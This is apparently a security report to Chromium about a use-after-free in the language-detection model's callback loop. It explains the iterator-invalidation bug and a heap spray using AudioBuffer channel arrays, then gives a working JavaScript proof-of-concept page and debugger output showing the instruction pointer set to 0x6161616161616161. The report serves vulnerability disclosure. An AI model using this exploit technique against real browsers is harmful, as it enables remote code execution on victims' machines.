1. First of all, I would like to emphasize again that the `patch` required for this report has no impact on the entire vulnerability exploitation. The reason why `patch` is needed is because the `module` pull of the `Update` function and the `google api` are required. The functions of `update` and `google api` cannot be used in `develop version`. If you can, you can tell me and I will be happy to recompile a copy to achieve `develop` without `patch` triggering. So good, Let's start with the exploit proof.


1. In the case of UAF vulnerabilities such as iterator failure, the essential reason is that the memory address capacity allocated by the container is not enough to support the next insertion of elements. This will cause the memory allocated by the previous container to be released, thereby applying for a larger and more sufficient support. The memory for the next element insertion, but during the iteration process, the address of this iteration will not change due to the impact of reallocation caused by element insertion, and the original one fre will be used. ed memory, the capacity often grows exponentially (8*2^n). For example, the first allocation is 0x10 (8*2^1), the second time is 0x20 (8*2^2), and the third time is 0x20 (8*2^2). The times are 0x40 (8*2^3). Of course, the 8 here is the memory size occupied by the element in the container, because `ModelLoadedCallback` exists in the form of a pointer in the memory. Since this vulnerability is a user-defined iterator reentrancy, we have every way to exploit it.

2. What we think about is to occupy the `freed` container address through user-defined operations (that is, the address allocated by the previous container represents `freed`), and then it happens that every time the loop operates on the container elements, it is directly called` callback`. So we can use `Heap Spray` to disguise this `callback`.


Since the `model_loaded_callbacks_` here exists in the form of std::vector in memory, it is allocated using PartitionAlloc. So we need to find a target object of the same size and fully controllable content to occupy freed memory.
```c++
class COMPONENT_EXPORT(LANGUAGE_DETECTION) LanguageDetectionModel {
  [...]
  // Pending callbacks for waiting the model to be available.
  std::vector<ModelLoadedCallback> model_loaded_callbacks_;
  [...]
};
```
After my continuous search, I found that there is indeed a place where the size and content can be controlled, because I explained at the beginning that the memory of the freed container may be 0x10, 0x20, 0x40, 0x80... (0x10* 2^n).
Then let’s take a look at this Feng Shui treasure land.

Right here, this line `source_channels_ = std::make_unique<const float*[]>(number_of_channels);` The data pointer pointed by `make_unique` in memory is a raw pointer. This raw pointer represents the block pointer array, so it happens to be the same as vector The container memory is allocated in the same space, and the `number_of_channels` here can be completely controlled in the js code.

```c++
void AudioBufferSourceHandler::SetBuffer(AudioBuffer* buffer,
                                         ExceptionState& exception_state) {
    [...]
    // Do any necesssary re-configuration to the buffer's number of channels.
    unsigned number_of_channels = buffer->numberOfChannels();

    // This should not be possible since AudioBuffers can't be created with too
    // many channels either.
    if (number_of_channels > BaseAudioContext::MaxNumberOfChannels()) {
      exception_state.ThrowDOMException(
          DOMExceptionCode::kNotSupportedError,
          ExceptionMessages::IndexOutsideRange(
              "number of input channels", number_of_channels, 1u,
              ExceptionMessages::kInclusiveBound,
              BaseAudioContext::MaxNumberOfChannels(),
              ExceptionMessages::kInclusiveBound));
      return;
    }

    shared_buffer_ = buffer->CreateSharedAudioBuffer();

    Output(0).SetNumberOfChannels(number_of_channels);

    source_channels_ = std::make_unique<const float*[]>(number_of_channels);
    destination_channels_ = std::make_unique<float*[]>(number_of_channels);

    for (unsigned i = 0; i < number_of_channels; ++i) {
      source_channels_[i] =
          static_cast<float*>(shared_buffer_->channels()[i].Data());
    }
    [...]
}
```
And because of this sentence, `shared_buffer_->channels()[i].Data()` is completely controllable by us, which means that we can also control the content of the float pointer of source_channels_. This provides a guarantee for our use.
```c++
    for (unsigned i = 0; i < number_of_channels; ++i) {
      source_channels_[i] =
          static_cast<float*>(shared_buffer_->channels()[i].Data());
    }
```

Next we can use the following statement to trigger this place. Explain that myArrayBuffer here represents shared_buffer_, `source.buffer = myArrayBuffer` represents calling
`AudioBufferSourceHandler::SetBuffer`. Thus triggering this function.
```javascript
   var audioCtx = new AudioContext();
    var frameCount = target_bucket/8;
    var myArrayBuffer = audioCtx.createBuffer(target_bucket/8, frameCount, audioCtx.sampleRate);
    for (var channel = 0; channel < target_bucket/8; channel++) {
      var nowBuffering = myArrayBuffer.getChannelData(channel);
      for (var i = 0; i < frameCount; i++) {
          dv.setUint32(0,0x61616161,true)
          nowBuffering[i] = dv.getFloat32(0);
        }
      console.log(nowBuffering[0])
      var source = audioCtx.createBufferSource();
      source.buffer = myArrayBuffer;
```

Then we can construct a POC to make a placeholder container.
```javascript
<body></body>
<canvas id="myCanvas"></canvas>
<script>
    var ab = new ArrayBuffer(8)
    var dv = new DataView(ab);
    let detector;
    detector =  translation.createDetector();
    someUserText = 'Hallo und herzlich willkommen\!';
    in_getter = true
    target_list=[]
    var target_bucket= 0x100
    function spray(){
    var audioCtx = new AudioContext();
    var frameCount = target_bucket/8;
    var myArrayBuffer = audioCtx.createBuffer(target_bucket/8, frameCount, audioCtx.sampleRate);
    for (var channel = 0; channel < target_bucket/8; channel++) {
      var nowBuffering = myArrayBuffer.getChannelData(channel);
      for (var i = 0; i < frameCount; i++) {
          dv.setUint32(0,0x61616161,true)
          nowBuffering[i] = dv.getFloat32(0);
        }
      }
    var source = audioCtx.createBufferSource();
    source.buffer = myArrayBuffer;
    target_list.push(source)
    
  }
  detector.then((result)=>{
    Array.prototype.__defineGetter__("then", function () {
          if(in_getter){
            result.detect(someUserText);
            for(var i=0;i<0x1000;i++){
              spray()
            }

            in_getter =false
            return
          };
        }
      );
      for(var i =0 ; i<target_bucket/8;i++){
        result.detect(someUserText);
      }
  });

</script>
```


Take a look at the layout through the memory. Before running the user-defined callback, the callback_iterator address at this time is `0x0000600000818f00`. At this time, we can view its layout through the memory I printed. , callback_ here represents the iterator. So the address of the next iteration is `0x0000600000818f08` and then increases from there.
```bash
Process 7906 stopped
* thread #1, name = 'CrRendererMain', queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x000000010c0ff758 libchrome_dll.dylib`language_detection::LanguageDetectionModel::NotifyModelLoaded(this=0x000000011941ed40) at language_detection_model.cc:233:26 [opt]
   230 	void LanguageDetectionModel::NotifyModelLoaded() {
   231 	  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
   232 	  for (auto&& callback_ : model_loaded_callbacks_) {
-> 233 	    std::move(callback_).Run(*this);
   234 	  }
   235 	  loaded_ = true;
   236 	  model_loaded_callbacks_.clear();
Target 0: (Chromium Helper (Renderer)) stopped.
(lldb) p callback_
(base::OnceCallback<void (language_detection::LanguageDetectionModel &)> &) 0x0000600000818f00: {
  holder_ = {
    bind_state_ = {
      ptr_ = 0x0000600002144100
    }
  }
}
(lldb) x/20gx 0x0000600000818f00
0x600000818f00: 0x0000600002144100 0x0000600002144180
0x600000818f10: 0x0000600002144200 0x0000600002144280
0x600000818f20: 0x0000600002144300 0x00006000021443c0
0x600000818f30: 0x0000600002144440 0x00006000021444c0
0x600000818f40: 0x0000600002144540 0x0000600002144580
0x600000818f50: 0x0000600002144600 0x0000600002144680
0x600000818f60: 0x0000600002144700 0x0000600002144780
0x600000818f70: 0x0000600002144800 0x0000600002144880
0x600000818f80: 0x0000600002144900 0x0000600002144980
0x600000818f90: 0x0000600002144a00 0x0000600002144a80
```
The bind_state0 at this time is `0x0000600002144100`, and then after running the user-defined code, you can see that the iterator at this time has been replaced by our `source_channels_ = std::make_unique<const float*[]>(number_of_channels);` is occupied because I used the same size in the poc construction. The address of the next iteration is `0x0000600000818f08`. The bind_state_ at this time is already `0x0000179000a33080`, which is our fake address.
```bash
Process 7906 stopped
* thread #1, name = 'CrRendererMain', queue = 'com.apple.main-thread', stop reason = step over
    frame #0: 0x000000010c0ff780 libchrome_dll.dylib`language_detection::LanguageDetectionModel::NotifyModelLoaded(this=0x000000011941ed40) at language_detection_model.cc:232:25 [opt]
   229 	
   230 	void LanguageDetectionModel::NotifyModelLoaded() {
   231 	  DCHECK_CALLED_ON_VALID_SEQUENCE(sequence_checker_);
-> 232 	  for (auto&& callback_ : model_loaded_callbacks_) {
   233 	    std::move(callback_).Run(*this);
   234 	  }
   235 	  loaded_ = true;
Target 0: (Chromium Helper (Renderer)) stopped.
(lldb) x/20gx 0x0000600000818f00
0x600000818f00: 0x0000179000a33000 0x0000179000a33080
0x600000818f10: 0x0000179000a33100 0x0000179000a33180
0x600000818f20: 0x0000179000a33200 0x0000179000a33280
0x600000818f30: 0x0000179000a33300 0x0000179000a33380
0x600000818f40: 0x0000179000a33400 0x0000179000a33480
0x600000818f50: 0x0000179000a33500 0x0000179000a33580
0x600000818f60: 0x0000179000a33600 0x0000179000a33680
0x600000818f70: 0x0000179000a33700 0x0000179000a33780
0x600000818f80: 0x0000179000a33800 0x0000179000a33880
0x600000818f90: 0x0000179000a33900 0x0000179000a33980
(lldb) p callback_
(base::OnceCallback<void (language_detection::LanguageDetectionModel &)> &) 0x0000600000818f08: {
  holder_ = {
    bind_state_ = {
      ptr_ = 0x0000179000a33080
    }
  }
}
(lldb) x/20gx 0x0000179000a33080
0x179000a33080: 0x6161616161616161 0x6161616161616161
0x179000a33090: 0x6161616161616161 0x6161616161616161
0x179000a330a0: 0x6161616161616161 0x6161616161616161
0x179000a330b0: 0x6161616161616161 0x6161616161616161
0x179000a330c0: 0x6161616161616161 0x6161616161616161
0x179000a330d0: 0x6161616161616161 0x6161616161616161
0x179000a330e0: 0x6161616161616161 0x6161616161616161
0x179000a330f0: 0x6161616161616161 0x6161616161616161
0x179000a33100: 0x6161616161616161 0x6161616161616161
0x179000a33110: 0x6161616161616161 0x6161616161616161
```
Then enter `std::move(callback_).Run()`.
```c++
  R Run(Args... args) && {
    CHECK(!is_null());

    // Move the callback instance into a local variable before the invocation,
    // that ensures the internal state is cleared after the invocation.
    // It's not safe to touch |this| after the invocation, since running the
    // bound function may destroy |this|.
    internal::BindStateHolder holder = std::move(holder_);
    PolymorphicInvoke f =
        reinterpret_cast<PolymorphicInvoke>(holder.polymorphic_invoke());
    return f(holder.bind_state().get(), std::forward<Args>(args)...);
  }
  ----------------------------------------------------------------------
  InvokeFuncStorage polymorphic_invoke() const {
    return bind_state_->polymorphic_invoke_;
  }
```
At this time, the bind_state_ is `0x0000179000a33080`, `bind_state_->polymorphic_invoke_` is the `0x6161616161616161` we set, and when the f callback is finally called, 0x6161616161616161 is called. Control the RIP register.
```c++
Process 7906 stopped
* thread #1, name = 'CrRendererMain', queue = 'com.apple.main-thread', stop reason = step in
    frame #0: 0x000000010c0ff768 libchrome_dll.dylib`language_detection::LanguageDetectionModel::NotifyModelLoaded() [inlined] base::internal::BindStateHolder::polymorphic_invoke(this=0x000000016efc5c18) const at callback_internal.h:154:12 [opt]
   151 	  const scoped_refptr<BindStateBase>& bind_state() const { return bind_state_; }
   152 	
   153 	  InvokeFuncStorage polymorphic_invoke() const {
-> 154 	    return bind_state_->polymorphic_invoke_;
   155 	  }
   156 	
   157 	 private:
Target 0: (Chromium Helper (Renderer)) stopped.
(lldb) p bind_state_
(scoped_refptr<base::internal::BindStateBase>) {
  ptr_ = 0x0000179000a33080
}
(lldb) s
Process 7906 stopped
* thread #1, name = 'CrRendererMain', queue = 'com.apple.main-thread', stop reason = step in
    frame #0: 0x000000010c0ff770 libchrome_dll.dylib`language_detection::LanguageDetectionModel::NotifyModelLoaded() [inlined] base::OnceCallback<void (language_detection::LanguageDetectionModel&)>::Run(this=<unavailable>, args=0x000000011941ed40) && at callback.h:156:12 [opt]
   153 	    internal::BindStateHolder holder = std::move(holder_);
   154 	    PolymorphicInvoke f =
   155 	        reinterpret_cast<PolymorphicInvoke>(holder.polymorphic_invoke());
-> 156 	    return f(holder.bind_state().get(), std::forward<Args>(args)...);
   157 	  }
   158 	
   159 	  // Then() returns a new OnceCallback that receives the same arguments as
Target 0: (Chromium Helper (Renderer)) stopped.
(lldb) p f
(base::OnceCallback<void (language_detection::LanguageDetectionModel &)>::PolymorphicInvoke) 0x6161616161616161
```


It can be seen that it is very effective
```bash
❯ ./Chromium --js-flags="--expose-gc --allow-natives-syntax" http://localhost:8000/poc.html
[6328:259:1128/110529.005519:ERROR:keychain_password_mac.mm(102)] Keychain lookup failed: Error Domain=NSOSStatusErrorDomain Code=-128 "userCanceledErr" (-128)
[6328:34051:1128/110529.104508:ERROR:login_database_async_helper.cc(114)] Encryption is not available.
[6328:42243:1128/110529.104597:ERROR:login_database_async_helper.cc(114)] Encryption is not available.
2024-11-28 11:05:29.878 Chromium[6328:57565] +[IMKClient subclass]: chose IMKClient_Modern
2024-11-28 11:05:29.878 Chromium[6328:57565] +[IMKInputSession subclass]: chose IMKInputSession_Modern
Received signal 10 BUS_ADRALN 6161616161616161
 [0x000105479a54]
 [0x000105465e40]
 [0x000105479998]
 [0x000192064184]
 [0x00010fd1f778]
 [0x00010fd1fac4]
 [0x00010fd1fc20]
 [0x00010fd1fb9c]
 [0x00010fd1fe44]
 [0x00010d0238d0]
 [0x00010542ff74]
 [0x00010542fef0]
 [0x00010540d1c4]
 [0x00010542a714]
 [0x00010542a2c0]
 [0x0001053b4084]
 [0x00010542ad9c]
 [0x0001053e69d0]
 [0x0001194f3ac4]
 [0x00011958b3cc]
 [0x00011958beb4]
 [0x00011958a8bc]
 [0x00011958aa48]
 [0x00010cfd204c]
 [0x000104a58910]
 [0x000191cac274]
[end of stack trace]
```
